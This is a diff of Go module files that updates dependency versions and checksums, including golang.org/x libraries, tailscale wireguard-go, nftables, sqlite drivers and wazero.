google.golang.org/genproto/googleapis/rpc v0.0.0-20240227224415-6ceb2ff114de // indirect
google.golang.org/genproto/googleapis/rpc v0.0.0-20240318140521-94a12d6c2237 // indirect
gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
gopkg.in/jcmturner/goidentity.v3 v3.0.0 // indirect
@@ -188,7 +188,7 @@ require (
gopkg.in/jcmturner/rpc.v1 v1.1.0 // indirect
gopkg.in/yaml.v3 v3.0.1 // indirect
modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6 // indirect
modernc.org/libc v1.49.3 // indirect
modernc.org/libc v1.52.1 // indirect
modernc.org/mathutil v1.6.0 // indirect
modernc.org/memory v1.8.0 // indirect
modernc.org/strutil v1.2.0 // indirect
+55 -54
View File
@@ -1,7 +1,7 @@
cloud.google.com/go v0.26.0 h1:e0WKqKTd5BnrG8aKH3J3h+QvEIQtSUcf2n5UZ5ZgLtQ=
cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
cloud.google.com/go/compute v1.24.0 h1:phWcR2eWzRJaL/kOiJwfFsPs4BaKq1j6vnpZrc1YlVg=
cloud.google.com/go/compute v1.24.0/go.mod h1:kw1/T+h/+tK2LJK0wiPPx1intgdAM3j/g3hFDlscY40=
cloud.google.com/go/compute v1.25.1 h1:ZRpHJedLtTpKgr3RV1Fx23NuaAEN1Zfx9hw1u4aJdjU=
cloud.google.com/go/compute v1.25.1/go.mod h1:oopOIR53ly6viBYxaDhBfJwzUAxf1zE//uf3IB011ls=
cloud.google.com/go/compute/metadata v0.2.3 h1:mg4jlk7mCAj6xXp9UJ4fjI9VUI5rubuGBW5aJ7UnBMY=
cloud.google.com/go/compute/metadata v0.2.3/go.mod h1:VAV5nSsACxMJvgaAuX6Pk2AawlZn8kiOGuCv6gTkwuA=
filippo.io/age v1.1.1 h1:pIpO7l151hCnQ4BdyBujnGP2YlUo0uj6sAVNHGBvXHg=
@@ -99,11 +99,10 @@ github.com/cilium/ebpf v0.12.3 h1:8ht6F9MquybnY97at+VDZb3eQQr8ev79RueWeVaEcG4=
github.com/cilium/ebpf v0.12.3/go.mod h1:TctK1ivibvI3znr66ljgi4hqOT8EYQjz1KWBfb1UVgM=
github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc=
github.com/coreos/go-iptables v0.7.0 h1:XWM3V+MPRr5/q51NuWSgU0fqMad64Zyxs8ZUoMsamr8=
github.com/coreos/go-iptables v0.7.0/go.mod h1:Qe8Bv2Xik5FyTXwgIbLAnv2sWSBmvWdFETJConOQ//Q=
github.com/coreos/go-systemd/v22 v22.5.0 h1:RrqgGjYQKalulkV8NGVIfkXQf6YYmOyiJKk8iXXhfZs=
github.com/coreos/go-systemd/v22 v22.5.0/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc=
github.com/coreos/go-iptables v0.7.1-0.20240112124308-65c67c9f46e6 h1:8h5+bWd7R6AYUslN6c6iuZWTKsKxUFDlpnmilO6R2n0=
github.com/coreos/go-iptables v0.7.1-0.20240112124308-65c67c9f46e6/go.mod h1:Qe8Bv2Xik5FyTXwgIbLAnv2sWSBmvWdFETJConOQ//Q=
github.com/cpuguy83/go-md2man/v2 v2.0.3/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
github.com/cpuguy83/go-md2man/v2 v2.0.4/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
github.com/creack/pty v1.1.17/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
github.com/creack/pty v1.1.21 h1:1/QdRyBaHHJP61QkWMXlOIBfsgdDeeKfK8SYVUWJKf0=
github.com/creack/pty v1.1.21/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
@@ -145,6 +144,8 @@ github.com/glebarez/go-sqlite v1.21.2 h1:3a6LFC4sKahUunAmynQKLZceZCOzUthkRkEAl9g
github.com/glebarez/go-sqlite v1.21.2/go.mod h1:sfxdZyhQjTM2Wry3gVYWaW072Ri1WMdWJi0k6+3382k=
github.com/glebarez/sqlite v1.11.0 h1:wSG0irqzP6VurnMEpFGer5Li19RpIRi2qvQz++w0GMw=
github.com/glebarez/sqlite v1.11.0/go.mod h1:h8/o8j5wiAsqSPoWELDUdJXhjAhsVliSn7bWZjOhrgQ=
github.com/go-json-experiment/json v0.0.0-20231102232822-2e55bd4e08b0 h1:ymLjT4f35nQbASLnvxEde4XOBL+Sn7rFuV+FOJqkljg=
github.com/go-json-experiment/json v0.0.0-20231102232822-2e55bd4e08b0/go.mod h1:6daplAwHHGbUGib4990V3Il26O0OC4aRyvewaaAihaA=
github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY=
github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A=
github.com/go-ole/go-ole v1.3.0 h1:Dt6ye7+vXGIKZ7Xtk4s6/xVdGDQynvom7xCFEdWr6uE=
@@ -158,7 +159,6 @@ github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og=
github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw=
github.com/gobwas/ws v1.3.2 h1:zlnbNHxumkRvfPWgfXu8RBwyNR1x8wh9cf5PTOCqs9Q=
github.com/gobwas/ws v1.3.2/go.mod h1:hRKAFb8wOxFROYNsT1bqfWnhX+b5MFeJM9r2ZSwg/KY=
github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
github.com/godbus/dbus/v5 v5.1.1-0.20230522191255-76236955d466 h1:sQspH8M4niEijh3PFscJRLDnkL547IeP7kpPe3uUhEg=
github.com/godbus/dbus/v5 v5.1.1-0.20230522191255-76236955d466/go.mod h1:ZiQxhyQ+bbbfxUKVvjfO498oPYvtYhZzycal3G/NHmU=
github.com/gofrs/uuid v4.4.0+incompatible h1:3qXRTX8/NbyulANqlc0lchS1gqAVxRgsuW1YrTJupqA=
@@ -181,8 +181,8 @@ github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI=
github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
github.com/google/gofuzz v1.2.0 h1:xRy4A+RhZaiKjJ1bPfwQ8sedCA+YS2YcCHW6ec7JMi0=
github.com/google/gofuzz v1.2.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
github.com/google/nftables v0.1.1-0.20230115205135-9aa6fdf5a28c h1:06RMfw+TMMHtRuUOroMeatRCCgSMWXCJQeABvHU69YQ=
github.com/google/nftables v0.1.1-0.20230115205135-9aa6fdf5a28c/go.mod h1:BVIYo3cdnT4qSylnYqcd5YtmXhr51cJPGtnLBe/uLBU=
github.com/google/nftables v0.2.1-0.20240414091927-5e242ec57806 h1:wG8RYIyctLhdFk6Vl1yPGtSRtwGpVkWyZww1OCil2MI=
github.com/google/nftables v0.2.1-0.20240414091927-5e242ec57806/go.mod h1:Beg6V6zZ3oEn0JuiUQ4wqwuyqqzasOltcoXPtgLbFp4=
github.com/google/pprof v0.0.0-20240409012703-83162a5b38cd h1:gbpYu9NMq8jhDVbvlGkMFWCjLFlqqEZjEmObmhUy6Vo=
github.com/google/pprof v0.0.0-20240409012703-83162a5b38cd/go.mod h1:kf6iHlnVGwgKolg33glAes7Yg/8iWP8ukqeldJSO7jw=
github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
@@ -215,8 +215,8 @@ github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsI
github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg=
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a h1:bbPeKD0xmW/Y25WS6cokEszi5g+S0QxI/d45PkRi7Nk=
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a/go.mod h1:5TJZWKEWniPve33vlWYSoGYefn3gLQRzjfDlhSJ9ZKM=
github.com/jackc/pgx/v5 v5.5.4 h1:Xp2aQS8uXButQdnCMWNmvx6UysWQQC+u1EoizjguY+8=
github.com/jackc/pgx/v5 v5.5.4/go.mod h1:ez9gk+OAat140fv9ErkZDYFWmXLfV+++K0uAOiwgm1A=
github.com/jackc/pgx/v5 v5.5.5 h1:amBjrZVmksIdNjxGW/IiIMzxMKZFelXbUoPNb+8sjQw=
github.com/jackc/pgx/v5 v5.5.5/go.mod h1:ez9gk+OAat140fv9ErkZDYFWmXLfV+++K0uAOiwgm1A=
github.com/jackc/puddle/v2 v2.2.1 h1:RhxXJtFG022u4ibrCSMSiu5aOq1i77R3OHKNJj77OAk=
github.com/jackc/puddle/v2 v2.2.1/go.mod h1:vriiEXHvEE654aYKXXjOvZM39qJ0q+azkZFrfEOc3H4=
github.com/jcmturner/gofork v1.0.0 h1:J7uCkflzTEhUZ64xqKnkDxq3kzc96ajM1Gli5ktUem8=
@@ -246,8 +246,8 @@ github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f h1:5hWo+DzJQSOB
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f/go.mod h1:f8GY5V3lRzakvEyr49P7hHRYoHtPr8zvj/7JodCoRzw=
github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8=
github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
github.com/klauspost/compress v1.17.8 h1:YcnTYrq7MikUT7k0Yb5eceMmALQPYBW/Xltxn0NAMnU=
github.com/klauspost/compress v1.17.8/go.mod h1:Di0epgTjJY877eYKx5yC51cX2A2Vl2ibi7bDH9ttBbw=
github.com/klauspost/compress v1.17.9 h1:6KIumPrER1LHsvBVuDa0r5xaG0Es51mhhB9BQB2qeMA=
github.com/klauspost/compress v1.17.9/go.mod h1:Di0epgTjJY877eYKx5yC51cX2A2Vl2ibi7bDH9ttBbw=
github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
github.com/kortschak/wol v0.0.0-20200729010619-da482cc4850a h1:+RR6SqnTkDLWyICxS1xpjCi/3dhyV+TgZwA6Ww3KncQ=
github.com/kortschak/wol v0.0.0-20200729010619-da482cc4850a/go.mod h1:YTtCCM3ryyfiu4F7t8HQ1mxvp1UBdWM2r6Xa+nGWvDk=
@@ -303,8 +303,8 @@ github.com/moloch--/asciicast v0.1.0 h1:eBOJwuFKSk447s/kPs9MWsc4kAl5HmuKIDLDYD6/
github.com/moloch--/asciicast v0.1.0/go.mod h1:OckO16UDLgxVLclrCnbocL1ix15Br/8Xv/caBoYq98o=
github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e h1:IkFCPlAa0iTiLxck+NqAwBx8JDlnHYm4orOQBbs4BDQ=
github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e/go.mod h1:eYeI6cQ5YHhHt9i0BBW0zc1DaQnb4ZMXsSPuEV/V5Og=
github.com/ncruces/go-sqlite3 v0.15.0 h1:C+SIrcYsAIR5GUYWmCnif6x81n6BS9y75vYcQynuGNU=
github.com/ncruces/go-sqlite3 v0.15.0/go.mod h1:kHHYmFmK4G2VFFoIovEg9BEQ8BP+D81y4ESHXnzJV/w=
github.com/ncruces/go-sqlite3 v0.20.3 h1:+4G4uEqOeusF0yRuQVUl9fuoEebUolwQSnBUjYBLYIw=
github.com/ncruces/go-sqlite3 v0.20.3/go.mod h1:ojLIAB243gtz68Eo283Ps+k9PyR3dvzS+9/RgId4+AA=
github.com/ncruces/go-strftime v0.1.9 h1:bY0MQC28UADQmHmaF5dgpLmImcShSi2kHU9XLdhx/f4=
github.com/ncruces/go-strftime v0.1.9/go.mod h1:Fwc5htZGVVkseilnfgOVb9mKy6w1naJmn9CehxcKcls=
github.com/ncruces/julianday v1.0.0 h1:fH0OKwa7NWvniGQtxdJRxAgkBMolni2BjDHaWTxqt7M=
@@ -346,8 +346,9 @@ github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6Mwd
github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ=
github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
github.com/spf13/cobra v1.8.0 h1:7aJaZx1B85qltLMc546zn58BxxfZdR/W22ej9CFoEf0=
github.com/spf13/cobra v1.8.0/go.mod h1:WXLWApfZ71AjXPya3WOlMsY9yMs7YeiHhFVlvLyhcho=
github.com/spf13/cobra v1.8.1 h1:e5/vxKd/rZsfSJMUX1agtjeTDf+qv1/JdBF8gg5k9ZM=
github.com/spf13/cobra v1.8.1/go.mod h1:wHxEcudfqmLYa8iTfL+OuZPbBZkmvliBWKIezN3kD9Y=
github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
@@ -378,16 +379,16 @@ github.com/tailscale/web-client-prebuilt v0.0.0-20240226180453-5db17b287bf1 h1:t
github.com/tailscale/web-client-prebuilt v0.0.0-20240226180453-5db17b287bf1/go.mod h1:agQPE6y6ldqCOui2gkIh7ZMztTkIQKH049tv8siLuNQ=
github.com/tailscale/wf v0.0.0-20240214030419-6fbb0a674ee6 h1:l10Gi6w9jxvinoiq15g8OToDdASBni4CyJOdHY1Hr8M=
github.com/tailscale/wf v0.0.0-20240214030419-6fbb0a674ee6/go.mod h1:ZXRML051h7o4OcI0d3AaILDIad/Xw0IkXaHM17dic1Y=
github.com/tailscale/wireguard-go v0.0.0-20231121184858-cc193a0b3272 h1:zwsem4CaamMdC3tFoTpzrsUSMDPV0K6rhnQdF7kXekQ=
github.com/tailscale/wireguard-go v0.0.0-20231121184858-cc193a0b3272/go.mod h1:BOm5fXUBFM+m9woLNBoxI9TaBXXhGNP50LX/TGIvGb4=
github.com/tailscale/wireguard-go v0.0.0-20240429185444-03c5a0ccf754 h1:iazWjqVHE6CbNam7WXRhi33Qad5o7a8LVYgVoILpZdI=
github.com/tailscale/wireguard-go v0.0.0-20240429185444-03c5a0ccf754/go.mod h1:BOm5fXUBFM+m9woLNBoxI9TaBXXhGNP50LX/TGIvGb4=
github.com/tailscale/xnet v0.0.0-20240117122442-62b9a7c569f9 h1:81P7rjnikHKTJ75EkjppvbwUfKHDHYk6LJpO5PZy8pA=
github.com/tailscale/xnet v0.0.0-20240117122442-62b9a7c569f9/go.mod h1:orPd6JZXXRyuDusYilywte7k094d7dycXXU5YnWsrwg=
github.com/tc-hib/winres v0.2.1 h1:YDE0FiP0VmtRaDn7+aaChp1KiF4owBiJa5l964l5ujA=
github.com/tc-hib/winres v0.2.1/go.mod h1:C/JaNhH3KBvhNKVbvdlDWkbMDO9H4fKKDaN7/07SSuk=
github.com/tcnksm/go-httpstat v0.2.0 h1:rP7T5e5U2HfmOBmZzGgGZjBQ5/GluWUylujl0tJ04I0=
github.com/tcnksm/go-httpstat v0.2.0/go.mod h1:s3JVJFtQxtBEBC9dwcdTTXS9xFnM3SXAZwPG41aurT8=
github.com/tetratelabs/wazero v1.7.1 h1:QtSfd6KLc41DIMpDYlJdoMc6k7QTN246DM2+n2Y/Dx8=
github.com/tetratelabs/wazero v1.7.1/go.mod h1:ytl6Zuh20R/eROuyDaGPkp82O9C/DJfXAwJfQ3X6/7Y=
github.com/tetratelabs/wazero v1.8.2 h1:yIgLR/b2bN31bjxwXHD8a3d+BogigR952csSDdLYEv4=
github.com/tetratelabs/wazero v1.8.2/go.mod h1:yAI0XTsMBhREkM/YDAK/zNou3GoiAce1P6+rp/wQhjs=
github.com/thedevsaddam/gojsonq/v2 v2.5.2 h1:CoMVaYyKFsVj6TjU6APqAhAvC07hTI6IQen8PHzHYY0=
github.com/thedevsaddam/gojsonq/v2 v2.5.2/go.mod h1:bv6Xa7kWy82uT0LnXPE2SzGqTj33TAEeR560MdJkiXs=
github.com/things-go/go-socks5 v0.0.5 h1:qvKaGcBkfDrUL33SchHN93srAmYGzb4CxSM2DPYufe8=
@@ -426,8 +427,8 @@ golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8U
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.23.0 h1:dIJU/v2J8Mdglj/8rJ6UUOM3Zc9zLZxVZwwxMooUSAI=
golang.org/x/crypto v0.23.0/go.mod h1:CKFgDieR+mRhux2Lsu27y0fO304Db0wZe70UKqHu0v8=
golang.org/x/crypto v0.32.0 h1:euUpcYgM8WcP71gNpTqQCn6rC2t6ULUPiOzfWaXVVfc=
golang.org/x/crypto v0.32.0/go.mod h1:ZnnJkOaASj8g0AjIduWNlq2NRxL0PlBrbKVyZ6V/Ugc=
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
golang.org/x/exp v0.0.0-20240416160154-fe59bbe5cc7f h1:99ci1mjWVBWwJiEKYY6jWa4d2nTQVIEhZIptnrVb1XY=
golang.org/x/exp v0.0.0-20240416160154-fe59bbe5cc7f/go.mod h1:/lliqkxwWAhPjf5oSOIJup2XcqJaw8RGS6k3TGEc7GI=
@@ -454,11 +455,11 @@ golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLL
golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
golang.org/x/net v0.25.0 h1:d/OCCoBEUq33pjydKrGQhw7IlUPI2Oylr+8qLx49kac=
golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM=
golang.org/x/net v0.33.0 h1:74SYHlV8BIgHIFC/LrYkOGIwL19eTYXQ5wc6TBuO36I=
golang.org/x/net v0.33.0/go.mod h1:HXLR5J+9DxmrqMwG9qjGCxZ+zKXxBru04zlTvWlWuN4=
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
golang.org/x/oauth2 v0.17.0 h1:6m3ZPmLEFdVxKKWnKq4VqZ60gutO35zm+zrAHVmHyDQ=
golang.org/x/oauth2 v0.17.0/go.mod h1:OzPDGQiuQMguemayvdylqddI7qcD9lnSDb+1FiwQ5HA=
golang.org/x/oauth2 v0.18.0 h1:09qnuIAgzdx1XplqJvW6CQqMCtGZykZWcXzPMPUusvI=
golang.org/x/oauth2 v0.18.0/go.mod h1:Wf7knwG0MPoWIMMBgFlEaSUDaKskp0dCfrlJRJXbBi8=
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
@@ -466,8 +467,8 @@ golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJ
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.7.0 h1:YsImfSBoP9QPYL0xyKJPq0gcaJdG3rInoqxTWbfQu9M=
golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
golang.org/x/sync v0.10.0 h1:3NQrjDixjgGwUOCaF8w2+VYHv0Ve/vGYSbdkTa98gmQ=
golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
@@ -497,18 +498,18 @@ golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.4.1-0.20230131160137-e7d7f63158de/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.16.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.20.0 h1:Od9JTbYCk261bKm4M/mw7AklTlFYIa0bIp9BgSm1S8Y=
golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.29.0 h1:TPYlXGxvx1MGTn2GiZDhnjPA9wZzZeGKHHmKhHYvgaU=
golang.org/x/sys v0.29.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
golang.org/x/term v0.20.0 h1:VnkxpohqXaOBYJtBmEppKUG6mXpi+4O6purfc2+sMhw=
golang.org/x/term v0.20.0/go.mod h1:8UkIAJTvZgivsXaD6/pH6U9ecQzZ45awqEOzuCvwpFY=
golang.org/x/term v0.28.0 h1:/Ts8HFuMR2E6IP/jlo7QVLZHggjKQbhu/7H0LJFr3Gg=
golang.org/x/term v0.28.0/go.mod h1:Sw/lC2IAUZ92udQNf3WodGtn4k/XoLyZoh8v/8uiwek=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
golang.org/x/text v0.15.0 h1:h1V/4gjBv8v9cjcR6+AR5+/cIYK5N/WAgiv4xlsEtAk=
golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo=
golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ=
golang.org/x/time v0.5.0 h1:o7cqy6amK/52YcAKIPlM3a+Fpj35zvRj2TP+e1xFSfk=
golang.org/x/time v0.5.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
@@ -521,8 +522,8 @@ golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtn
golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
golang.org/x/tools v0.20.0 h1:hz/CVckiOxybQvFw6h7b/q80NTr9IUQb4s1IIzW7KNY=
golang.org/x/tools v0.20.0/go.mod h1:WvitBU7JJf6A4jOdg4S1tviW9bhUxkgeCui/0JHctQg=
golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d h1:vU5i/LfpvrRCpgM/VPfJLg5KjxD3E+hfT1SH+d9zLwg=
golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
@@ -542,15 +543,15 @@ google.golang.org/appengine v1.6.8/go.mod h1:1jJ3jBArFh5pcgW8gCtRJnepW8FzD1V44FJ
google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
google.golang.org/genproto v0.0.0-20200423170343-7949de9c1215/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/genproto/googleapis/rpc v0.0.0-20240227224415-6ceb2ff114de h1:cZGRis4/ot9uVm639a+rHCUaG0JJHEsdyzSQTMX+suY=
google.golang.org/genproto/googleapis/rpc v0.0.0-20240227224415-6ceb2ff114de/go.mod h1:H4O17MA/PE9BsGx3w+a+W2VOLLD1Qf7oJneAoU6WktY=
google.golang.org/genproto/googleapis/rpc v0.0.0-20240318140521-94a12d6c2237 h1:NnYq6UN9ReLM9/Y01KWNOWyI5xQ9kbIms5GGJVwS/Yc=
google.golang.org/genproto/googleapis/rpc v0.0.0-20240318140521-94a12d6c2237/go.mod h1:WtryC6hu0hhx87FDGxWCDptyssuo68sk10vYjF+T9fY=
google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
